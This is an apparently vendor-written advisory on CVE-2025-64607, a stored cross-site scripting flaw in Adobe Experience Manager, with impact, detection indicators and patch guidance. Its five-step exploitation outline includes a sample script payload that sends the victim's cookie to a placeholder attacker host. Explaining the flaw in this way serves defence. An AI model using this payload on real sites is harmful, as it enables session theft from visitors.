CVE-2025-64607: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64607 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and network access, but has low attack complexity. The scope is changed, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Adobe Advisory, EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in a victim's browser, leading to limited confidentiality and integrity impacts — such as session cookie theft, credential harvesting, UI redirection, or defacement of AEM-hosted content. Because the payload is stored server-side, any authenticated or unauthenticated user who visits the affected page may be impacted, potentially broadening the attack surface to all AEM site visitors. Availability is not directly impacted by this vulnerability (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input in a content fragment, page property, or custom component).
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: When a victim (e.g., an AEM administrator or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, potentially stealing session tokens or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing encoded script tags or JavaScript event handlers in request bodies.
• File System / Content Repository: Presence of <script> tags, javascript: URIs, or HTML event handler attributes (e.g., onerror, onload) in stored AEM content nodes (JCR repository), particularly in text or rich-text fields.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from end-user systems.
• Browser: Unexpected redirects or pop-ups when visiting AEM pages; browser developer tools showing script execution from inline or injected <script> elements on AEM content pages.

Adobe has released patches addressing CVE-2025-64607. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service to release 2025.12.0 or later. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM author permissions to ensure the principle of least privilege is enforced, limiting which users can publish or modify content (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, recommending prompt patching (CIS Advisory). Tenable published a Nessus detection plugin (ID 278346) for this vulnerability shortly after disclosure (Tenable). No significant independent researcher commentary or social media discussion has been identified for this specific CVE.